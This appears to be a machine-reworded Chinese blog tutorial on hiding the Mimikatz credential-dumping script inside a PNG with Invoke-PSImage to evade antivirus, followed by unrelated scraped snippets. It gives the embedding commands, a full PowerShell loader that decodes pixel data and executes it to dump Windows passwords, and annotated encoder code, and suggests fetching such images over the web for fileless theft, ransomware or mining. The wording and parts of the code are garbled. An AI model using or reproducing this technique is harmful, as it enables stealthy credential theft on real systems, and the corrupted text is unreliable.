序言
伴随着如今电脑杀毒软件的不断创新和升級,怎样才可以把恶意代码上传入 *** 攻击的 *** 服务器而不被电脑杀毒软件所杀毒,也许是灰产有关工作人员始终绕但是的话题讨论。近期见到一则信息,有一款挖矿病毒【MyKingz】为了更好地掩藏本身的恶意代码,将编码掩藏在taylor swift的图象中,以完成脱壳破解的实际效果。下面我将以案例演试,看一下恶意代码是如何隐藏在图片中并开展启用的。
恶意代码掩藏案例及演试
环?境
windows server 2008r2
Invoke-
Invoke-Mimikatz.ps1
Invoke-PSImage是一款powershell脚本 *** ,关键作用是将powershell编码掩藏在图片的有关位。
Invoke-Mimikatz,这一很有可能很多人都了解,能够爬取windows系统软件的密文账户密码,是 *** 黑客在网站渗透测试常运用的一款脚本 *** ,操作 *** 以下:
点一下加上图片叙述(数最多60个字)
根据virustotal检验。
点一下加上图片叙述(数最多60个字)
现阶段绝大多数杀毒软件都是会杀毒这一脚本 *** 。
下面powershell导进Invoke-PSImage
Import-Module .\\Invoke-PSimage.ps1
Invoke-PSImage -Script .\\Invoke-Mimikatz.ps1 -Out .\\sojrs_mimikatz.png -image .\\images\\sojrs-2.png
这儿-script表明你需要载入图片中的powershell脚本 *** ,-image 表明待载入恶意代码的图片,-Out 表明最终载入取得成功的图片,powershell的脚本 *** 可能掩藏在这个图片。
实行取得成功以后,会转化成一条指令,根据该指令能够载入图片中的恶意代码并实行。
能够见到,嵌入恶意代码的图片仍能一切正常表明,和原照对比,有一丝不一样。
点一下加上图片叙述(数最多60个字)
根据virustotal查验sojrs_mimikatz.png,沒有一款检验出去,取得成功绕开全部的杀手机软件。
点一下加上图片叙述(数最多60个字)
运用该图片载入系统软件账户密码
Sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:?\\sojrs\\Desktop\\Invoke-PSImage\\sojrs_mimikatz.png");$o=a Byte[]2205000;(0..1469)|%{foreach($x in(0..1499)){$p=$g.GetPixel($x,$_);$o[$_*1500 $x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..2204116]));invoke-Mimikatz
点一下加上图片叙述(数最多60个字)
因而根据Invoke-PSImage,大家取得成功把故意的mimikatz的登陆密码爬取脚本 *** 掩藏在图片之中,并根据一条指令实行了登陆密码爬取作用,且取得成功绕开全部电脑杀毒软件的杀毒。
PSImage剖析
这儿关键有两个难题:
1.PSImage是如何把恶意代码载入到图片的?
2.Powershell是怎么启用图片中的恶意代码的?
这种难题,我们可以阅读文章一下invoke-PSImage的源代码来剖析一下。
在这里以前先简易掌握一个定义,图片是以清晰度为企业的,一个像素数用rgb方式即是rgb(0x66,0x67,0x68) ,因此一个像素数是3个字节共24位。那麼PSImage关键基本原理便是将payload变为字节数后,每个字节储存到图片的每一个清晰度中。例如我觉得储存英文字母A(0x41),二进制表明为(01000001),高4位为0100,低4位为0001。这时PSImage可能把高4位储存在某一像素数颜色分量B的低4位,将payload的低4位储存在颜色分量G的低4位。最终依照这类规律性载入图片中的回应的低4位做拼凑,变为标识符后实行有关脚本 *** 指令。由于rgb方式,在其中颜色分量关键在于高4位,低4位的变化从身体感观上难以认知到颜色的转变,因此这儿更换的均为颜色分量的低4位。
图例以下:
点一下加上图片叙述(数最多60个字)
掌握到之上的基本概念以后,大家看来一下PSImage的重要完成编码
for ($counter=0; $counter -lt ($rgbValues.Length)/3; $counter ){
if ($counter -lt $payload.Length){
$paybyte1=[math]::Floor($payload[$counter]/16)
$paybyte2=($payload[$counter]-band 0x0f)
$paybyte3=($randb[($counter 2)9]-band 0x0f)
#载入payload的前后左右4位,paybyte1为前4位,paybyte2为后4位,band=&与运算,bor=|或运算,paybyte3为随机数字,无关痛痒
#以payload[$counter]=A为例子剖析,
#paybyte1=0x41/0x01 取商为0x04,即取下了payload的高四位
#paybyte2=0x41 & 0x0f==0x01,即取下了payload的低四位
}else{
$paybyte1=($randb[$counter3]-band 0x0f)
$paybyte2=($randb[($counter 1)g]-band 0x0f)
$paybyte3=($randb[($counter 2)9]-band 0x0f)
#若电子计数器超过payload长短,则添充随机数字
}
$rgbValues[($counter*3)]=($rgbValues[($counter*3)]-band 0xf0) -bor $paybyte1
#这儿rgbvalues($counter*3)表明B颜色分量,rgbValues[($counter*3 1)表明G颜色分量,各自与原先图片的低4位开展或运算进而储存
$rgbValues[($counter*3 1)]=($rgbValues[($counter*3 1)]-band 0xf0) -bor $paybyte2
$rgbValues[($counter*3 2)]=($rgbValues[($counter*3 2)]-band 0xf0) -bor $paybyte3
}
之上这一段便是储存payload到图片中的关键编码,即是图例的基本原理,解决了大家以前明确提出的之一个难题。
对于第二个难题,如今了解了之一个难题以后,如今应当内心有数量了,只不过便是反向回来,载入故意图片的gb颜色分量的低4位,变为标识符后启用powershell实行有关指令,下边看下编码的案例,这儿为便于收看,我用实行sojrs_mimikatz.png的指令讲解
sal a New-Object;
Add-Type -A System.Drawing;
$g=a System.Drawing.Bitmap("C:\\Users\\sojrs\\Desktop\\sojrs_mimikatz.png");
$o=a Byte[]2877;
(0..2)|%{foreach($x in(0..958))
{$p=$g.GetPixel($x,$_);
$o[$_*959 $x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};
#反向全过程,循环系统载入故意图片清晰度中的B,G颜色分量的低4位,并将B的低4位开展进位,随后或运算后即是payload的字节数关系式
$g.Dispose();
IEX([System.Text.Encoding]::ASCII.GetString($o[0..2839]))
#将payload变为标识符
最后即获得到一个恶意代码的目标,假如要想实行该目标的有关方式 ,后边加上分号就可以,以mimikatz载入系统软件登陆密码为例子
点一下加上图片叙述(数最多60个字)
小结
1.图片仅仅用以掩藏恶意代码。
2.根据简易的脚本 *** 指令能够载入图片的有关位并转到成恶意代码。
3.故意图片能够没有当地,根据web浏览获得,进而完成无文档载入登陆密码、敲诈勒索、挖币等。但充分考虑可靠性,勒索软件一般依然会放到当地。
4.这类进攻方式类似dll注入,仅仅恶意代码并不是放到dll文档中,只是掩藏在图片中。
全自动运维管理|运维管理专用工具的不断迅速交货实践活动
【风险】可绕开防毒软件的Snatch病毒感染来啦!!!
当碉堡机会上防水坝,1 1撞击的安全性便是那么稳!
Android勒索病毒剖析
运维管理日记|运用python完成一个简易的运维管理系统数据图表
当我在Arch Linux社区开源软件包的开发奉献过程中,发现了一个很有意思的项目-麦考夫Mycroft AI,它是一款开源且根据人工智能(AI)的语音助理使用,在对它的研讨过程中,我发现了一个不必点...
世界屋脊是什么(世界屋脊的形成) 提起世界屋脊大家都不免想起青藏高原,这是中国最高的地方,也是世界上最好的高原,这可是我们中国的高度,这是我们中国的骄傲,他有很多的称号,世界屋脊就是其一,那世界屋脊...
利用网站漏洞(比如“动网BBS”的N多漏洞)上传ASP木马、SQL注入来获得Shell权限。这类教程网上很多啊,研究可以,不要做违法的事。 1、信息收集1.1/Whois信息--注册人、电话、邮箱、...
运用东西:发掘鸡 v1.1 明小子软件后台规划中存在缺点导致可遍历账号信息,并重置恣意账户暗码地址:http://www.digitalsquid.co.uk/netspoof/[1][2][3]黑客...
从2020年2月23日24时起 我国新冠肺炎疫情防控应急处置等级 由省部级一级响应调节为省部级三级响应 一、突发性公共卫生服务事情是啥? 突发性公共卫生服务事情就是指忽然产生,导致或是很有...
微信聊天记录删除了怎么恢复?大家在使用微信的过程中,都出现过这种情况,不小心左滑将聊天界面给删除了,然后所有微信记录都消失了。不重要的信息可以算了, 微信聊天记录备份?微信是大家都熟知的一款社交工具,...